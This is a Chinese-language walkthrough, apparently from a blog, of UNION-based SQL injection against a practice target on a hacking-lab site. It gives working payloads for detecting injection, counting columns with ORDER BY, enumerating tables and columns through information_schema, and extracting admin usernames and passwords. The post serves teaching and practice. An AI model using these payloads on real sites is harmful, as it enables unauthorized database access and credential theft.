Sql注入之union注入攻击
今天讲讲sql注入攻击流程
事先声明,本文仅仅作为学习使用,因个人原因导致的后果,皆与本人无关,后果由个人承担。
本次演示靶机为封神台里的题目,具体连接如下
https://hack.zkaq.cn/battle/target?id=485e58d0afa7e4f7
那么话不多说,开始今天的讲解。今天主要讲sql注入中的union注入
对于一个网站,首先对于sql注入先验证是字符型注入还是数字型注入,
从以上两张图看出,我们将id=1改为id=1‘,页面出错,可以判断这个是数字型注入。对于字符型和数字型可以用这个方法判断
接下来使用id=1 and 1=1测试
以及使用id=1 and 1=2测试
这里发现1=1输出正常,而是用1=2页面报错,初步判断存漏洞
接下来使用order by
id=1 and 1=1 order by 1
id=1 and 1=1 order by 2
id=1 and 1=1 order by 3
可以看到order by 3 时网页出错,初步判断存在2个传参点
结合上面1=2存在漏洞,开始找漏洞
接下来使用union参数(从这里开始才是真正的union注入)
Id=1 and 1=2 union select1,2
网页输出2,所以我们对2处更改查找数据库
id=1 and 1=2 union select 1,database()
此处括号容易漏掉,本人操作时也经常漏掉,希望大家在以后的测试中不要忘记
接下来构造?id=1 and 1=2 union select 1, table_name from information_schema.tables where table_schema=database() limit 0,1
网页显示admin
接下来构造?id=1 and 1=2 union select 1, column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
这两句是union注入中较为重要的句子,大家在练习的时候建议敲一遍而不是复制粘贴,两句其实还挺像的,我把两句中的不同的地方标出来,方便大家记忆
将上述句子limit 0,1 更改为limit 1,1
再更改为limit 2,1
可知admin分为id,username,password
如果不确定的话可以改为limit 3,1试一下
接下来就是数据库信息了
使用如下句子:
?id=1 and 1=2 union select 1,username from admin limit 0,1
将limit0,1改为1,1
查找密码
?id=1 and 1=2 union select 1,password from admin limit 0,1
Limit0,1更改为1,1
到这里我们的sql注入的union注入就结束了,大家可以到官网上去看一下,也有解题思路,我这篇文章就是借鉴他的解题思路和过程。
最后声明,任何因个人原因导致的后果,皆有个人承担。